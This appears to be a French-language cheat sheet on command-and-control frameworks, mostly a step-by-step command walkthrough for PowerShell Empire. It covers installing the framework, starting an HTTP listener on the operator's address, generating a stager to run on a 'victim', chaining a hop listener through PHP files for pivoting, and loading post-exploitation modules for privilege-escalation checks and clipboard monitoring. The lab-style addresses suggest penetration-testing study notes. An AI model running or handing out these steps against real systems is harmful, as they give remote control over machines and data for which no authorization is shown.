Command and control framework

Liste de framework disponible

• Cobalt Strike (Payant)
• Covenant
• Merlin
• Shadow
• PoshC2
• powershell empire

Nous nous attarderons ici à powershell empire

sudo apt install powershell-empire starkiller #installation. starkiller est l'interface web. https://localhost:1337. empireadmin/password123
sudo powershell-empire server #fichier de configuration dans /usr/share/powershell-empire/empire/client/config.yaml
powershell-empire client
uselistener http
set Name CLIHTTP
set Host Host 10.9.0.60 #notre adresse IP
set Port 8000
execute #démarre le listener
back #ou main pour le menu principal
listeners #liste des listeners
kill LISTENER_NAME #efface le listener

Un stager est un payload

usestager multi/bash
set Listener CLIHTTP
execute #nous obtenons le code à exécuter sur la victime
shell
ctrl+c
agents #après exécution du payload, nous verrons l'agent dans powershell empire
interact AGENT_NAME
help
back
kill AGENT_NAME

Si la victime où nous exécuterons le payload n’a pas directement accès au serveur powershell empire, nous devons créer un hop_listener

uselistener http_hop
set Name http_hop
set RedirectListener CLIHTTP
set Host 10.9.0.69 #adresse à laquelle le payload se connectera. nous effectuerons un port forward vers le serveur ps empire
set Port 47000
options
execute #nous obtenons des fichiers .php dans le répertoire /tmp

On transfère les fichiers php sur la machine qui servira de HOP
php -S 0.0.0.0:47000 &>/dev/null & #il faut aussi ouvrir le port dans le firewall

usestager multi/launcher
set Listener http_hop
execute #on exécute le payload sur la victime (on url encode). À partir d'ici, on devrait voir un agent. 

La commande usemode MODULE_NAME peut être utilisé pour utiliser un module lors de l’exécution d’un agent

usemodule powershell/privesc/sherlock
execute
usemodule collection/clipboard_monitor
execute